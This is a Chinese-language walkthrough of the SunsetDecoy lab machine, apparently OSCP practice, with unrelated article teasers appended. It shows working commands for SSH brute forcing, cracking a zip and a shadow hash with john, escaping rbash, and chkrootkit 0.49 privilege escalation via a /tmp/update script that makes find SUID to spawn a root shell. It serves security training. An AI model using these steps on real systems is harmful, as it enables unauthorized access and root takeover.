OSCP系列靶场-Esay-SunsetDecoy

news/2024/4/17 7:28:54

总结

getwebshell : 发现zip文件 → zip存在密码 → john爆破zip密码 → 发现passwdshadow文件 → 爆破shadow密码 → ssh登录

提 权 思 路 : 发现后台运行程序 → 上传pspy64查看 → 发现chkrootkit → chkrootkit提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.194

图片

  • 启动靶机
    获取目标机器IP → 192.168.190.85

图片

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

 
  1. sudo nmap --min-rate 10000 -p- 192.168.190.85

  2. PORT STATE SERVICE

  3. 22/tcp open ssh

  4. 80/tcp open http

图片


开放的端口->22,80

目标端口对应服务探测

 
  1. # tcp探测

  2. sudo nmap -sT -sV -O -sC -p22,80 192.168.190.85

  3. PORT STATE SERVICE VERSION

  4. 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2

  5. 80/tcp open http Apache httpd 2.4.38

图片

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2

 
  1. # 搜索对应脚本

  2. msf6 > searchsploit openssh 7.9p1

图片

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

 
  1. sudo ssh root@192.168.190.85 -v

显示publickeypassword就是支持密钥以及密码登录

图片

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

 
  1. sudo ssh root@192.168.190.85 -p 22

  2. # 密码尝试

  3. password > root

弱密码尝试失败

图片

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

 
  1. sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.190.85 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

图片

80-HTTP端口的信息收集

访问 http://192.168.190.85:80 不是CMS,访问发现了一个zip

图片


利用wget下载

 
  1. wget http://192.168.190.85/save.zip

图片


尝试打开发现需要密码

 
  1. ┌──(root㉿Kali)-[/home/bachang/SunsetDecoy]

  2. └─# unzip save.zip

  3. Archive: save.zip

  4. [save.zip] etc/passwd password:

暴力破解-hash密码破解
 
  1. # 利用zip2john将zip转换

  2. zip2john save.zip → password.hash

  3. # 利用john离线破译hash的zip密码

  4. john --wordlist=/usr/share/wordlists/rockyou.txt password.hash

得到了密码manuel

图片

进行解压

 
  1. ┌──(root㉿Kali)-[/home/bachang/SunsetDecoy]

  2. └─# unzip save.zip

  3. Archive: save.zip

  4. [save.zip] etc/passwd password:

  5. inflating: etc/passwd

  6. inflating: etc/shadow

  7. inflating: etc/group

  8. inflating: etc/sudoers

  9. inflating: etc/hosts

  10. extracting: etc/hostname

从名字上来看是里面的账号密码信息

图片

漏洞利用-getwebshell

passwd用户名收集

 
  1. ┌──(root㉿Kali)-[/home/bachang/SunsetDecoy] └─# cat etc/passwd

  2. root:x:0:0:root:/root:/bin/bash

  3. ...

  4. systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

  5. 296640a3b825115a47b68fc44501c828:x:1000:1000:,,,:/home/296640a3b825115a47b68fc44501c828:/bin/rbash

通过etc/passwd我们可以收集到用户名

图片

shadow加密密码收集

 
  1. ┌──(root㉿Kali)-[/home/bachang/SunsetDecoy] └─# cat etc/shadow

  2. ....

  3. colord:*:18440:0:99999:7:::

  4. hplip:*:18440:0:99999:7:::

  5. systemd-coredump:!!:18440::::::

  6. 296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::

shadow中我们会得到加密的密码

图片

john暴力破解

 
  1. # 利用echo变成hash方便暴力破解

  2. echo '296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::' > passwd.txt

  3. # 利用john离线破译txt密码

  4. john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt

图片

图片


得到了密码 server

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

 
  1. sudo ssh 296640a3b825115a47b68fc44501c828@192.168.190.85 -p22

  2. password → server

图片

内网遨游-getshell

连接之后发现是rbash

图片

SSH连接受限逃逸

SSH连接受限伪终端逃逸

SSH连接到远程服务器上发现各种命令受限利用-t逃逸

 
  1. # -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置

  2. sudo ssh 296640a3b825115a47b68fc44501c828@192.168.190.85 -p22 -t "bash --noprofile"

  3. password → server

  4. # ssh登录之后获取环境变量

  5. echo $PATH

  6. # 重写环境变量

  7. PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

连接进来之后没有找到命令说明要配置环境变量

图片


目前的环境变量可以发现在本地,零时修改一下

图片

FLAG1获取

 
  1. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ find / -name local.txt 2>/dev/null

  2. /home/296640a3b825115a47b68fc44501c828/local.txt

  3. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ cat local.txt

  4. f750ece6f4ea704c2902f5f7f6c10d2d

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

 
  1. # 确定发行版本

  2. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ lsb_release -a

  3. No LSB modules are available.

  4. Distributor ID: Debian

  5. Description: Debian GNU/Linux 10 (buster)

  6. Release: 10

  7. Codename: buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

 
  1. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ uname -a

  2. Linux 60832e9f188106ec5bcc4eb7709ce592 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限
 
  1. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ id

  2. uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) groups=1000(296640a3b825115a47b68fc44501c828)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

 
  1. # 利用sudo -l寻找

  2. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ sudo -l

  3. sudo: unable to resolve host 60832e9f188106ec5bcc4eb7709ce592: Name or service not known

  4. We trust you have received the usual lecture from the local System

  5. Administrator. It usually boils down to these three things:

  6. #1) Respect the privacy of others.

  7. #2) Think before you type.

  8. #3) With great power comes great responsibility.

  9. [sudo] password for 296640a3b825115a47b68fc44501c828:

  10. Sorry, try again.

  11. [sudo] password for 296640a3b825115a47b68fc44501c828:

  12. Sorry, user 296640a3b825115a47b68fc44501c828 may not run sudo on 60832e9f188106ec5bcc4eb7709ce592.

发现不行

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

 
  1. # -perm 文件权限

  2. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ find / -perm -u=s -type f 2>/dev/null

  3. /usr/bin/newgrp

  4. /usr/bin/su

  5. /usr/bin/umount

  6. /usr/bin/pkexec

  7. /usr/bin/chsh

  8. /usr/bin/sudo

  9. /usr/bin/passwd

  10. /usr/bin/gpasswd

  11. /usr/bin/mount

  12. /usr/bin/chfn

  13. /usr/bin/fusermount

  14. /usr/lib/policykit-1/polkit-agent-helper-1

  15. /usr/lib/eject/dmcrypt-get-device

  16. /usr/lib/openssh/ssh-keysign

  17. /usr/lib/dbus-1.0/dbus-daemon-launch-helper

getcap标志进程收集

高版本下suid列举不全,查看getcap

 
  1. # 探查有CAP_SETUID标志的进程

  2. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ /usr/sbin/getcap -r / 2>/dev/null

  3. /usr/bin/ping = cap_net_raw+ep

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

 
  1. # 寻找定时任务并修改进行提权

  2. cat /etc/crontab

图片

寻找root权限进程
 
  1. # 调整行列,方便查询进程

  2. stty rows 50 cols 250

  3. # 查找进程,是否存在root权限进程

  4. ps aux | grep root

图片

查看历史信息(无)

可能用户留下的历史信息具有有用的信息

 
  1. history

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破

 
  1. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls -al /home

  2. drwxr-xr-x 2 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 4096 Aug 27 2020 296640a3b825115a47b68fc44501c828

确认当前用户home目录下是否有隐藏文件
 
  1. # 例如.ssh找密码 ./*_history找历史记录等

  2. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls -al

  3. total 56

  4. drwxr-xr-x 2 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 4096 Aug 27 2020 .

  5. drwxr-xr-x 3 root root 4096 Jun 27 2020 ..

  6. lrwxrwxrwx 1 root root 9 Jul 7 2020 .bash_history -> /dev/null

  7. -rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 220 Jun 27 2020 .bash_logout

  8. -rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 3583 Jun 27 2020 .bashrc

  9. -rwxr-xr-x 1 root root 17480 Jul 7 2020 honeypot.decoy

  10. -rw------- 1 root root 1855 Jul 7 2020 honeypot.decoy.cpp

  11. lrwxrwxrwx 1 root root 7 Jun 27 2020 id -> /bin/id

  12. lrwxrwxrwx 1 root root 13 Jun 27 2020 ifconfig -> /bin/ifconfig

  13. -rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 33 Jul 30 10:37 local.txt

  14. lrwxrwxrwx 1 root root 7 Jun 27 2020 ls -> /bin/ls

  15. lrwxrwxrwx 1 root root 10 Jun 27 2020 mkdir -> /bin/mkdir

  16. -rwxr-xr-x 1 root root 807 Jun 27 2020 .profile

  17. -rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 66 Jun 27 2020 .selected_editor

  18. -rwxrwxrwx 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 32 Aug 27 2020 user.txt

看到了一个可疑的文件,具有执行和读取功能

图片


在无法读取的情况下尝试运行

 
  1. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ./honeypot.decoy

  2. --------------------------------------------------

  3. Welcome to the Honey Pot administration manager (HPAM). Please select an option.

  4. 1 Date.

  5. 2 Calendar.

  6. 3 Shutdown.

  7. 4 Reboot.

  8. 5 Launch an AV Scan.

  9. 6 Check /etc/passwd.

  10. 7 Leave a note.

  11. 8 Check all services status.

发现有几个功能

图片


发现5具有交互,会进行执行,但是我看不到

图片


系统会通知我们扫描将在 60 秒内启动。这暗示有一个正在运行的进程,我们可能想要仔细研究

Pspy查看进程

 
  1. Pspy是一个命令行工具,用于在不需要root权限的情况下窥探进程。它允许您在其他用户运行的命令、cron任务等执行时查看它们。该工具通关循环遍历/proc下的值来获取进程参数信息。

 
  1. wget https://github.com/DominicBreuker/pspy.git

 
  1. # 利用python开启http服务,方便目标机器上下载文件

  2. sudo python3 -m http.server 80

 
  1. # 下载

  2. wget http://192.168.45.194:80/pspy64

  3. # 给权限

  4. chmod +x pspy64

  5. # 运行

  6. ./pspy64

上传pspy64之后运行脚本

图片


查看是否有进程进行

图片

发现执行了/bin/sh /root/chkrootkit-0.49/chkrootkit

图片

权限提升

chkrootkit提权

发现程序中会进行chkrootkit

 
  1. searchsploit chkrootkit

可以发现正好有0.49

图片

 
  1. cat /usr/share/exploitdb/exploits/linux/local/33899.txt

仔细查看说在/tmp下放置一个update的文件会以root权限运行
那么构造一个恶意的update可以让我权限提升

图片

 
  1. # 移动

  2. cd /tmp

  3. # 写提权

  4. echo '#!/bin/sh

  5. chmod +s /usr/bin/find' > update

  6. # 加执行

  7. chmod +x update

  8. # 查看find权限

  9. which find

  10. ls -al /usr/bin/find

  11. # find-suid提权

  12. find . -exec /bin/bash -p \; -quit

图片

 
  1. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:/tmp$ ls -al /usr/bin/find

  2. -rwsr-sr-x 1 root root 315904 Feb 16 2019 /usr/bin/find

  3. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:/tmp$

  4. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:/tmp$ find . -exec /bin/bash -p \; -quit

  5. bash-5.0# id

  6. uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) euid=0(root) egid=0(root) groups=0(root),1000(296640a3b825115a47b68fc44501c828)

  7. bash-5.0#

提权成功

图片

FLAG2获取

 
  1. bash-5.0# cat /root/proof.txt

  2. 462b67a92407c2b0d746f9298fbfa2f6

完结撒花~

图片

总结

当没有思路的时候,可以上传pspy64来尝试发现root下运行的进程

  声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线


https://www.xjx100.cn/news/3366011.html

相关文章

C语言运算符和表达式——赋值中的自动类型转换(精度损失问题)

目录 自动类型转换 数值精度损失 自动类型转换 在不同类型数据间赋值时,会发生自动类型转换 *取值范围大的类型 → 取值范围小的类型,通常是不安全的 *数值溢出(Overflow) *反之,一定都是安全的吗?…

idea端口占用

报错:Verify the connector‘s configuration, identify and stop any process that‘s listening on port XXXX 翻译: 原因: 解决: 一、重启大法 二、手动关闭 启动spring项目是控制台报错,详细信息如下&#xff…

easyexcel-获取文件资源和导入导出excel

1、获取本地资源文件,根据模板填充数据导出 public void exportExcel(HttpServletResponse httpResponse, RequestBody AssayReportDayRecordQuery query) {AssayReportDayRecordDTO dto this.queryByDate(query);ExcelWriter excelWriter null;ExcelUtil.config…

游戏引擎架构01__引擎架构图

根据游戏引擎架构预设的引擎架构来构建运行时引擎架构 ​

Tuxera NTFS for Mac2023绿色免费版 免费的ntfs for mac 免费读写硬盘U盘工具

Tuxera NTFS 2023 Mac免费版是款适合Mac用户使用的磁盘读写工具。Tuxera NTFS 2023 Mac可以很好的帮助用户在Mac上打开、编辑、复制、移动或删除存储在Windows NTFS格式的USB驱动器上的文件。并且Tuxera NTFS 2023 Mac还可以无阻碍地使用各种文件系统磁盘,还能解决磁…

基于深度学习的商品标签识别系统(网页版+YOLOv8/v7/v6/v5代码+训练数据集)

摘要:本文深入研究了基于YOLOv8/v7/v6/v5的商品标签识别,核心采用YOLOv8并整合了YOLOv7、YOLOv6、YOLOv5算法,进行性能指标对比;详述了国内外研究现状、数据集处理、算法原理、模型构建与训练代码,及基于Streamlit的交…

如何通過代理IP使用cURL?

cURL是數據傳輸領域一款極具影響力的工具,可以說是每位軟體工程師的必備工具。它支持包括 HTTP、HTTPS、FTP 等在內的大量協議網路。但在某些情況下,由於網路限制或需要保持數字隱蔽性,無法直接訪問相關數據,需要用到cURL代理IP來…

篮球竞赛预约平台的设计与实现|Springboot+ Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)篮球馆,篮球赛,竞赛项目,赛事预约

本项目包含可运行源码数据库LW,文末可获取本项目的所有资料。 推荐阅读300套最新项目持续更新中..... 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含ja…